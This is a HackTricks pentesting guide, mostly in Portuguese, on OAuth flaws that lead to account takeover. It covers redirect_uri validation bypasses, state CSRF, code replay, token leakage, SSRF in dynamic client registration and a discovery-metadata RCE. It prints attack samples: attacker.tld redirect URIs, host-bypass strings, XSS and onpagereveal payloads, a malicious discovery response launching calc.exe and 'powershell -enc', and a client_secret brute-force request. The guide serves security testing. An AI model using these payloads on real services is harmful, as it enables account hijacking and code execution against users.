OAuth to Account takeover

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Informações Básicas

OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an framework de autorização que permite a uma aplicação acessar ou executar ações na conta de um usuário em outra aplicação (o servidor de autorização).

Considere um site hipotético https://example.com, projetado para exibir todas as suas postagens em redes sociais, incluindo as privadas. Para isso, utiliza-se OAuth 2.0. https://example.com solicitará sua permissão para acessar suas postagens em redes sociais. Consequentemente, uma tela de consentimento aparecerá em https://socialmedia.com, descrevendo as permissões solicitadas e o desenvolvedor que está fazendo a solicitação. Após sua autorização, https://example.com obtém a capacidade de acessar suas postagens em seu nome.

É essencial compreender os seguintes componentes dentro do framework OAuth 2.0:

  • resource owner: Você, como usuário/entidade, autoriza o acesso ao seu recurso, como as postagens da sua conta em redes sociais.
  • resource server: O servidor que gerencia requisições autenticadas após a aplicação ter obtido um access token em nome do resource owner, por exemplo, https://socialmedia.com.
  • client application: A aplicação que busca autorização do resource owner, como https://example.com.
  • authorization server: O servidor que emite access tokens para a client application após a autenticação bem-sucedida do resource owner e a concessão de autorização, por exemplo, https://socialmedia.com.
  • client_id: Um identificador público e único para a aplicação.
  • client_secret: Uma chave confidencial, conhecida apenas pela aplicação e pelo servidor de autorização, usada para gerar access_tokens.
  • response_type: Um valor que especifica o tipo de token solicitado, como code.
  • scope: O nível de acesso que a client application está solicitando ao resource owner.
  • redirect_uri: A URL para a qual o usuário é redirecionado após a autorização. Normalmente deve corresponder à URL de redirect pré-registrada.
  • state: Um parâmetro para manter dados durante o redirecionamento do usuário para o servidor de autorização e de volta. Sua unicidade é crítica para servir como um mecanismo de proteção contra CSRF.
  • grant_type: Um parâmetro indicando o tipo de grant e o tipo de token a ser retornado.
  • code: O código de autorização do authorization server, usado em conjunto com client_id e client_secret pela client application para obter um access_token.
  • access_token: O token que a client application usa para requisições API em nome do resource owner.
  • refresh_token: Permite que a aplicação obtenha um novo access_token sem solicitar novamente ao usuário.

Fluxo

O fluxo OAuth real prossegue da seguinte forma:

  1. Você navega até https://example.com e seleciona o botão “Integrar com Social Media”.
  2. O site então envia uma requisição para https://socialmedia.com pedindo sua autorização para permitir que a aplicação de https://example.com acesse suas postagens. A requisição é estruturada da seguinte forma:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Em seguida, é exibida uma página de consentimento.
  2. Após sua aprovação, a rede social envia uma resposta para o redirect_uri com os parâmetros code e state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utiliza este code, junto com seu client_id e client_secret, para fazer uma requisição do lado do servidor para obter um access_token em seu nome, permitindo o acesso às permissões que você consentiu:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Finalmente, o processo conclui quando https://example.com emprega seu access_token para fazer uma chamada de API para uma rede social (Social Media) para acessar

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, o servidor de autorização deve redirecionar o navegador apenas para URIs de redirecionamento exatas e pré-registradas (pre-registered, exact redirect URIs). Qualquer fraqueza aqui permite que um atacante envie uma vítima por uma URL de autorização maliciosa de modo que o IdP entregue o code (e o state) da vítima diretamente para um endpoint do atacante, que então pode resgatá-lo e coletar tokens.

Fluxo típico de ataque:

  1. Montar https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback e enviar para a vítima.
  2. A vítima autentica e aprova os scopes.
  3. O IdP redireciona para attacker.tld/callback?code=<victim-code>&state=... onde o atacante registra a requisição e troca o code imediatamente.

Bugs de validação comuns a serem testados:

  • No validation – qualquer URL absoluta é aceita, resultando em roubo instantâneo do code.
  • Verificações fracas por substring/regex no host – contornar com lookalikes como evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ou match.com@evil.com.
  • IDN homograph mismatches – a validação ocorre na forma punycode (xn--), mas o navegador redireciona para o domínio Unicode controlado pelo atacante.
  • Caminhos arbitrários em um host permitido – apontar o redirect_uri para /openredirect?next=https://attacker.tld ou qualquer endpoint de XSS/conteúdo-do-usuário faz com que o código vaze através de redirecionamentos encadeados, Referer headers, ou JavaScript injetado.
  • Restrições de diretório sem normalização – padrões como /oauth/* podem ser contornados com /oauth/../anything.
  • Wildcard subdomains – aceitar *.example.com significa que qualquer takeover (DNS dangling, S3 bucket, etc.) fornece imediatamente um callback válido.
  • Callbacks sem HTTPS – permitir URIs http:// dá a atacantes na rede (Wi‑Fi, proxy corporativo) a oportunidade de interceptar o code em trânsito.

Revise também parâmetros auxiliares no estilo redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) e o documento de descoberta OpenID (/.well-known/openid-configuration) em busca de endpoints adicionais que possam herdar as mesmas falhas de validação.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Locking redirect_uri a “domínios owned/first-party” não ajuda se qualquer domínio allowlisted expõe caminhos ou contextos de execução controlados pelo atacante (plataformas de apps legadas, namespaces de usuário, uploads de CMS, etc.). Se o fluxo OAuth/login federado retorna tokens na URL (query ou hash), um atacante pode:

  1. Iniciar um fluxo legítimo para mintar um pré-token (por exemplo, um etoken em um fluxo multi‑etapa do Accounts Center/FXAuth).
  2. Enviar à vítima uma URL de autorização que define o domínio allowlisted como redirect_uri/base_uri mas aponta o next/caminho para um namespace controlado pelo atacante (ex.: https://apps.facebook.com/<attacker_app>).
  3. Depois que a vítima aprova, o IdP redireciona para o caminho controlado pelo atacante com valores sensíveis na URL (token, blob, códigos, etc.).
  4. JavaScript nessa página lê window.location e exfiltra os valores apesar do domínio ser “trusted”.
  5. Reaproveitar os valores capturados contra endpoints downstream privilegiados que só esperam os tokens transportados pelo redirect. Exemplos do fluxo FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS na implementação do redirect

Como mencionado neste bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html, pode ser possível que o redirect URL esteja sendo refletido na resposta do servidor após o usuário se autenticar, estando vulnerável a XSS. Possível payload para testar:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

Páginas de erro de callback do OAuth: error_description refletido, phishing em origem confiável e vazamento codificado de state

Algumas integrações OAuth usam uma página de callback first-party para renderizar falhas de login depois que o IdP redireciona o navegador de volta. Essas páginas têm alto valor porque já rodam em uma origem confiável e frequentemente consomem parâmetros controlados pelo atacante, como error, error_description, message, description ou state.

  • Refletir error_description no HTML sem codificação de saída rigorosa transforma o callback em uma trusted-origin phishing page. Mesmo quando <script> é filtrado, a injeção de HTML ainda pode forjar toda a página de erro e instruir a vítima a executar ações escolhidas pelo atacante.
  • WAFs frequentemente se baseiam em handlers comuns como onload/onerror. Quando payloads normais são bloqueados, tente eventos específicos do navegador ou incomuns que os defensores podem não colocar na blacklist. Um exemplo prático é o onpagereveal do Safari, que pode ser executado quando a página de callback maliciosa é exibida no Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Testar self-referential payloads: se o HTML/JS injetado pode reabrir ou recarregar a mesma callback URL, você pode obter client-side resource exhaustion, popups/abas repetidas, ou log flooding a cada renderização.
  • Sempre decode valores state que parecem opacos. Muitas implementações codificam em Base64 JSON ou metadados do usuário e assumem que isso está “oculto”. Base64 é reversível, então callback URLs podem leak PII como endereços de e-mail, identificadores de tenant, caminhos de retorno ou estado interno do workflow.
  • Trate a exposição de URLs como parte do bug: qualquer coisa colocada na callback URL pode depois aparecer no histórico do navegador, reverse proxies, load balancers, logs da aplicação, ferramentas de monitoramento, screenshots, e cabeçalhos Referer se a página carregar recursos de terceiros.

Quick checks durante os testes:

  1. Dispare callbacks OAuth de sucesso e de falha e capture a URL completa mais o HTML renderizado.
  2. Reproduza o callback enquanto muta error_description, message, e campos de erro similares com texto simples, HTML e event-handler payloads.
  3. Decodifique state como Base64/Base64 URL-safe e inspecione-o em busca de PII ou estado da aplicação que deveria ter permanecido server-side.
  4. Repita payloads específicos do navegador no Safari/WebKit quando a WAF bloquear sondas XSS inline-event padrão.

CSRF - Improper handling of state parameter

O parâmetro state é o token CSRF do fluxo Authorization Code: o client deve gerar um valor criptograficamente aleatório por instância de navegador, persistí-lo em algum lugar que apenas esse navegador possa ler (cookie, local storage, etc.), enviá-lo na requisição de autorização, e rejeitar qualquer resposta que não retorne o mesmo valor. Sempre que o valor é estático, previsível, opcional, ou não vinculado à sessão do usuário, o atacante pode finalizar seu próprio fluxo OAuth, capturar a requisição final ?code= (sem enviá-la), e depois coagir o navegador da vítima a reproduzir essa requisição para que a conta da vítima fique ligada ao perfil do atacante no identity provider.

O padrão de replay é sempre o mesmo:

  1. O atacante autentica-se contra o IdP com sua conta e intercepta o último redirect contendo code (e qualquer state).
  2. Eles descartam essa requisição, guardam a URL, e depois abusam de qualquer primitiva CSRF (link, iframe, formulário que se submete automaticamente) para forçar o navegador da vítima a carregá-la.
  3. Se o client não validar state, a aplicação consome o resultado de autorização do atacante e loga o atacante na conta da vítima no app.

Checklist prático para o tratamento de state durante os testes:

  • state ausente totalmente – se o parâmetro nunca aparece, todo o login é vulnerável a CSRF.
  • state não requerido – remova-o da requisição inicial; se o IdP ainda emitir codes que o client aceita, a defesa é opt-in.
  • state retornado não validado – manipule o valor na resposta (Burp, MITM proxy). Aceitar valores incompatíveis significa que o token armazenado nunca é comparado.
  • state previsível ou puramente orientado a dados – muitas apps colocam caminhos de redirect ou blobs JSON em state sem misturar entropia, permitindo que atacantes adivinhem valores válidos e reproduzam fluxos. Sempre anteponha/anexe entropia forte antes de codificar os dados.
  • fixação de state – se a app permite que usuários forneçam o valor de state (ex.: via authorization URLs forjadas) e o reutiliza durante o fluxo, um atacante pode fixar um valor conhecido e reutilizá-lo entre vítimas.

PKCE pode complementar state (especialmente para public clients) vinculando o authorization code a um code verifier, mas web clients ainda devem rastrear state para prevenir bugs de cross-user CSRF/account-linking.

Pre Account Takeover

  1. Sem verificação de e-mail na criação de conta: Atacantes podem criar antecipadamente uma conta usando o e-mail da vítima. Se a vítima depois usar um serviço de terceiro para login, a aplicação pode inadvertidamente vincular essa conta de terceiro à conta pré-criada pelo atacante, levando a acesso não autorizado.
  2. Explorar verificação de e-mail frouxa em OAuth: Atacantes podem explorar serviços OAuth que não verificam e-mails registrando-se no serviço e depois alterando o e-mail da conta para o da vítima. Esse método igualmente arrisca acesso não autorizado à conta, semelhante ao primeiro cenário mas por um vetor de ataque diferente.

Disclosure of Secrets

O client_id é intencionalmente público, mas o client_secret nunca deve ser recuperável por end users. Deployments Authorization Code que embutem o secret em APKs mobile, desktop clients, ou single-page apps efetivamente entregam essa credencial a qualquer um que possa baixar o pacote. Sempre inspecione clientes públicos por:

  • Descompactar o APK/IPA, instalador desktop, ou app Electron e pesquisar por client_secret, blobs Base64 que decodificam para JSON, ou endpoints OAuth hard-coded.
  • Revisar arquivos de configuração empacotados (plist, JSON, XML) ou strings decompiladas em busca de credenciais do client.

Uma vez que o atacante extrai o secret, ele só precisa roubar qualquer authorization code da vítima (via um redirect_uri fraco, logs, etc.) para chamar /token de forma independente e gerar access/refresh tokens sem envolver o app legítimo. Trate clientes públicos/nativos como incapazes de manter segredos — eles devem, ao invés disso, confiar em PKCE (RFC 7636) para provar a posse de um code verifier por instância em vez de um secret estático. Durante os testes, confirme se o PKCE é obrigatório e se o backend realmente rejeita trocas de token que omitem ou o client_secret ou um code_verifier válido.

Bruteforce do client_secret

Você pode tentar bruteforçar o client_secret de um service provider com o identity provider a fim de tentar roubar contas.
A requisição para BF pode se parecer com:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Artefatos Referer/Header/Location leaking Code + State

Uma vez que o client tem o code and state, se eles aparecem em location.href ou document.referrer e são encaminhados para terceiros, eles leakam. Dois padrões recorrentes:

  • Classic Referer leak: após o redirect OAuth, qualquer navegação que mantenha ?code=&state= na URL vai empurrá-los para o header Referer enviado a CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: alguns SDKs (pixels/JS loggers) reagem a eventos postMessage e então enviam o atual location.href/referrer para APIs de backend usando um token fornecido na mensagem. Se você puder injetar seu próprio token nesse fluxo (por exemplo, via um relay postMessage controlado pelo atacante), você pode depois ler o histórico/logs de pedidos da API do SDK e recuperar os OAuth artifacts da vítima embutidos nesses requests.

Access Token Stored in Browser History

A garantia central do Authorization Code grant é que access tokens never reach the resource owner’s browser. Quando implementações vazam tokens no cliente, qualquer bug menor (XSS, Referer leak, proxy logging) vira comprometimento imediato da conta. Sempre verifique:

  • Tokens in URLs – se access_token aparece na query/fragment, ele cai no browser history, server logs, analytics, e nos headers Referer enviados a terceiros.
  • Tokens transiting untrusted middleboxes – retornar tokens via HTTP ou através de debugging/corporate proxies permite que observadores de rede capturem eles diretamente.
  • Tokens stored in JavaScript state – stores React/Vue, variáveis globais, ou blobs JSON serializados expõem tokens para todo script na origin (incluindo payloads XSS ou extensões maliciosas).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retêm tokens muito depois do logout em dispositivos compartilhados e são acessíveis por script.

Qualquer uma dessas descobertas geralmente eleva bugs “low” (como um CSP bypass ou DOM XSS) para takeover completo da API porque o atacante pode simplesmente ler e replay o bearer token vazado.

Everlasting Authorization Code

Authorization codes devem ser short-lived, single-use, and replay-aware. Ao avaliar um fluxo, capture um code e:

  • Test the lifetime – RFC 6749 recomenda minutos, não horas. Tente trocar o code após 5–10 minutos; se ainda funcionar, a janela de exposição para qualquer code vazado é excessiva.
  • Test sequential reuse – envie o mesmo code duas vezes. Se o segundo request retornar outro token, atacantes podem clonar sessões indefinidamente.
  • Test concurrent redemption/race conditions – dispare duas requisições de token em paralelo (Burp intruder, turbo intruder). Issuers fracos às vezes concedem ambos.
  • Observe replay handling – uma tentativa de reuse não deve só falhar, mas também revogar quaisquer tokens já mintados a partir desse code. Caso contrário, um replay detectado deixa o primeiro token do atacante ativo.

Combinar um code permissivo ao replay com qualquer redirect_uri ou bug de logging permite acesso persistente à conta mesmo após a vítima completar o login legítimo.

Authorization/Refresh Token not bound to client

Se você consegue obter o authorization code e trocar por um token em um client/app diferente, você pode takeover outras contas. Teste binding fraco por:

  • Capturar um code para app A e enviá-lo ao token endpoint de app B; se você ainda receber um token, o audience binding está quebrado.
  • Tentar endpoints de minting de tokens first-party que deveriam ser restritos aos seus próprios client IDs; se eles aceitarem state/app_id arbitrários enquanto só validam o code, você efetivamente realiza um authorization-code swap para mintar tokens first-party com mais privilégios.
  • Verificar se o client binding ignora mismatches de nonce/redirect URI. Se uma página de erro ainda carregar SDKs que logam location.href, combine com Referer/telemetry leaks para roubar codes e redeem em outro lugar.

Qualquer endpoint que troque code → token deve verificar o client emissor, redirect URI, e nonce; caso contrário, um code roubado de qualquer app pode ser upgradado para um access token first-party.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

Nesse bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ você pode ver que o token que AWS Cognito devolve ao usuário pode ter permissões suficientes para sobrescrever os dados do usuário. Portanto, se você puder mudar o user email para um email diferente, você pode ser capaz de take over contas de outros usuários.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Para mais informações detalhadas sobre como abusar do AWS Cognito confira AWS Cognito - Unauthenticated Enum Access.

Abusando dos tokens de outras Apps

Como mencionado neste writeup, fluxos OAuth que esperam receber o token (e não um code) podem ser vulneráveis se não verificarem que o token pertence à app.

Isto acontece porque um atacante poderia criar uma aplicação que suporte OAuth e login com Facebook (por exemplo) na sua própria aplicação. Então, uma vez que uma vítima faça login com Facebook na aplicação do atacante, o atacante poderia obter o OAuth token do usuário dado à sua aplicação, e usá-lo para fazer login na aplicação OAuth da vítima usando o token do usuário da vítima.

Caution

Portanto, se o atacante conseguir que o usuário aceda à sua própria aplicação OAuth, ele poderá assumir a conta da vítima em aplicações que esperam um token e não verificam se o token foi concedido ao seu app ID.

Two links & cookie

De acordo com este writeup, era possível fazer a vítima abrir uma página com um returnUrl apontando para o host do atacante. Essa informação seria armazenada num cookie (RU) e, numa etapa posterior, o prompt perguntaria ao usuário se ele quer dar acesso a esse host do atacante.

Para contornar esse prompt, era possível abrir uma aba para iniciar o Oauth flow que iria definir esse cookie RU usando o returnUrl, fechar a aba antes do prompt ser exibido, e abrir uma nova aba sem esse valor. Então, o prompt não informaria sobre o host do atacante, mas o cookie teria sido definido para ele, de forma que o token será enviado para o host do atacante na redireção.

Prompt Interaction Bypass

Como explicado em este vídeo, algumas implementações OAuth permitem indicar o parâmetro GET prompt como None (&prompt=none) para evitar que os usuários sejam solicitados a confirmar o acesso dado em um prompt na web se eles já estiverem logados na plataforma.

response_mode

Como explicado neste vídeo, pode ser possível indicar o parâmetro response_mode para indicar onde você quer que o code seja fornecido na URL final:

  • response_mode=query -> O código é fornecido dentro de um parâmetro GET: ?code=2397rf3gu93f
  • response_mode=fragment -> O código é fornecido dentro do fragmento da URL #code=2397rf3gu93f
  • response_mode=form_post -> O código é fornecido dentro de um POST form com um input chamado code e o valor
  • response_mode=web_message -> O código é enviado numa post message: window.opener.postMessage({"code": "asdasdasd...

Diálogos de consentimento/login OAuth são alvos ideais para clickjacking: se puderem ser framed, um atacante pode sobrepor gráficos personalizados, esconder os botões reais e enganar usuários para aprovarem scopes perigosos ou vincularem contas. Construa PoCs que:

  1. Carreguem a IdP authorization URL dentro de um <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Usem posicionamento absoluto/truques de opacidade para alinhar botões falsos com os controlos reais Allow/Approve ocultos.
  3. Opcionalmente pré-preencham parâmetros (scopes, redirect URI) para que a aprovação roubada beneficie imediatamente o atacante.

Durante os testes verifique se as páginas do IdP emitem X-Frame-Options: DENY/SAMEORIGIN ou uma Content-Security-Policy: frame-ancestors 'none' restritiva. Se nenhuma estiver presente, demonstre o risco com ferramentas como NCC Group’s clickjacking PoC generator e registre quão facilmente uma vítima autoriza a app do atacante. Para ideias adicionais de payload veja Clickjacking.

OAuth ROPC flow - 2 FA bypass

De acordo com este blog post, este é um fluxo OAuth que permite fazer login via username e password. Se durante esse fluxo simples for retornado um token com acesso a todas as ações que o usuário pode executar, então é possível contornar 2FA usando esse token.

ATO on web page redirecting based on open redirect to referrer

Este blogpost comenta como foi possível abusar de um open redirect para o valor do referrer para explorar OAuth até ATO. O ataque foi:

  1. A vítima acede à página web do atacante
  2. A vítima abre o link malicioso e um opener inicia o Google OAuth flow com response_type=id_token,code&prompt=none como parâmetros adicionais usando como referrer o website do atacante.
  3. No opener, depois que o provider autoriza a vítima, ele a envia de volta para o valor do parâmetro redirect_uri (web da vítima) com um código 30X que ainda mantém o site do atacante no referer.
  4. O site da vítima dispara o open redirect baseado no referrer redirecionando o usuário da vítima para o site do atacante; como o respose_type estava id_token,code, o code será enviado de volta ao atacante no fragment da URL, permitindo que ele tome conta da conta do usuário via Google no site da vítima.

SSRFs parameters

Check this research Para mais detalhes desta técnica.

Dynamic Client Registration em OAuth funciona como um vetor menos óbvio mas crítico para vulnerabilidades de segurança, especificamente para ataques de Server-Side Request Forgery (SSRF). Este endpoint permite que servidores OAuth recebam detalhes sobre client applications, incluindo URLs sensíveis que podem ser exploradas.

Principais pontos:

  • Dynamic Client Registration é frequentemente mapeado para /register e aceita detalhes como client_name, client_secret, redirect_uris, e URLs para logos ou JSON Web Key Sets (JWKs) via POST requests.
  • Esta feature segue as especificações definidas em RFC7591 e OpenID Connect Registration 1.0, que incluem parâmetros potencialmente vulneráveis a SSRF.
  • O processo de registro pode acidentalmente expor servidores a SSRF de várias maneiras:
  • logo_uri: Uma URL para o logo da client application que pode ser buscada pelo servidor, disparando SSRF ou levando a XSS se a URL for maltratada.
  • jwks_uri: Uma URL para o documento JWK do client, que se for maliciosamente construída pode fazer o servidor realizar requests de saída para um servidor controlado pelo atacante.
  • sector_identifier_uri: Referencia um array JSON de redirect_uris, que o servidor pode buscar, criando uma oportunidade de SSRF.
  • request_uris: Lista URIs de request permitidas para o client, que pode ser explorado se o servidor buscar essas URIs no início do processo de autorização.

Estratégia de exploração:

  • SSRF pode ser disparado ao registrar um novo client com URLs maliciosas em parâmetros como logo_uri, jwks_uri ou sector_identifier_uri.
  • Enquanto a exploração direta via request_uris pode ser mitigada por controles de whitelist, fornecer um request_uri pré-registrado e controlado pelo atacante pode facilitar SSRF durante a fase de autorização.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

A pesquisa sobre CVE-2025-6514 (impactando clients mcp-remote como Claude Desktop, Cursor ou Windsurf) mostra como dynamic OAuth discovery se torna um primitive de RCE sempre que o client encaminha os metadata do IdP diretamente para o sistema operativo. O servidor remoto MCP retorna um authorization_endpoint controlado pelo atacante durante a troca de discovery (/.well-known/openid-configuration ou qualquer RPC de metadata). mcp-remote ≤0.1.15 então chamaria o system URL handler (start, open, xdg-open, etc.) com qualquer string recebida, de modo que qualquer scheme/path suportado pelo OS fosse executado localmente.

Attack workflow

  1. Aponte o agente desktop para um servidor MCP/OAuth hostil (npx mcp-remote https://evil). O agente recebe 401 mais metadata.
  2. O servidor responde com JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. O cliente lança o handler do SO para o URI fornecido. O Windows aceita payloads como file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux aceitam file:///Applications/Calculator.app/... ou até esquemas customizados como cmd://bash -lc '<payload>' se registrados.
  2. Como isso acontece antes de qualquer interação do usuário, apenas configurar o cliente para se comunicar com o servidor do atacante resulta em execução de código.

How to test

  • Mire em qualquer desktop/agent compatível com OAuth que realize discovery sobre HTTP(S) e abra endpoints retornados localmente (Electron apps, CLI helpers, thick clients).
  • Intercepte ou hospede a resposta de discovery e substitua authorization_endpoint, device_authorization_endpoint, ou campos similares por file://, cmd://, caminhos UNC, ou outros esquemas perigosos.
  • Observe se o cliente valida o scheme/host. A falta de validação resulta em execução imediata no contexto do usuário e comprova o problema.
  • Repita com diferentes esquemas para mapear toda a superfície de ataque (por exemplo, ms-excel:, data:text/html,, custom protocol handlers) e demonstrar alcance cross-platform.

Condições de corrida em provedores OAuth

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, o campo sub identifica de forma única um usuário, mas seu formato varia entre Authorization Servers. Para padronizar a identificação do usuário, alguns clients usam emails ou user handles. No entanto, isso é arriscado porque:

  • Alguns Authorization Servers não garantem que essas propriedades (como email) permaneçam imutáveis.
  • Em certas implementações — como “Login with Microsoft” — o client confia no campo email, que é controlado pelo usuário em Entra ID e não verificado.
  • Um atacante pode explorar isso criando sua própria organização Azure AD (por exemplo, doyensectestorg) e usá-la para realizar um Microsoft login.
  • Mesmo que o Object ID (armazenado em sub) seja imutável e seguro, a dependência de um campo de email mutável pode permitir um account takeover (por exemplo, sequestrar uma conta como victim@gmail.com).

Client Confusion Attack

Em um Client Confusion Attack, uma aplicação que usa o OAuth Implicit Flow falha em verificar se o access token final foi especificamente gerado para seu próprio Client ID. Um atacante monta um site público que usa o OAuth Implicit Flow do Google, enganando milhares de usuários a logar e assim coletando access tokens destinados ao site do atacante. Se esses usuários também tiverem contas em outro site vulnerável que não valide o Client ID do token, o atacante pode reutilizar os tokens coletados para se passar pelas vítimas e assumir suas contas.

Scope Upgrade Attack

O tipo Authorization Code Grant envolve comunicação segura servidor-a-servidor para transmitir dados do usuário. Contudo, se o Authorization Server confiar implicitamente em um parâmetro scope na Access Token Request (um parâmetro não definido no RFC), uma aplicação maliciosa poderia elevar os privilégios de um authorization code solicitando um scope maior. Depois que o Access Token é gerado, o Resource Server deve verificá-lo: para tokens JWT, isso envolve checar a assinatura do JWT e extrair dados como client_id e scope; para tokens aleatórios em formato string, o servidor deve consultar o Authorization Server para recuperar os detalhes do token.

Redirect Scheme Hijacking

Em implementações mobile de OAuth, apps usam custom URI schemes para receber redirects com Authorization Codes. Entretanto, como múltiplos apps podem registrar o mesmo scheme em um dispositivo, a suposição de que apenas o client legítimo controla o redirect URI é violada. No Android, por exemplo, uma Intent URI como com.example.app:// oauth é capturada com base no scheme e em filtros opcionais definidos no intent-filter do app. Como a resolução de intents do Android pode ser ampla — especialmente se apenas o scheme for especificado — um atacante pode registrar um app malicioso com um intent-filter cuidadosamente elaborado para hijackar o authorization code. Isso pode enable an account takeover seja por interação do usuário (quando múltiplos apps são elegíveis para tratar a intent) ou via técnicas de bypass que exploram filtros excessivamente específicos, conforme detalhado pelo flowchart de avaliação da Ostorlab.

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks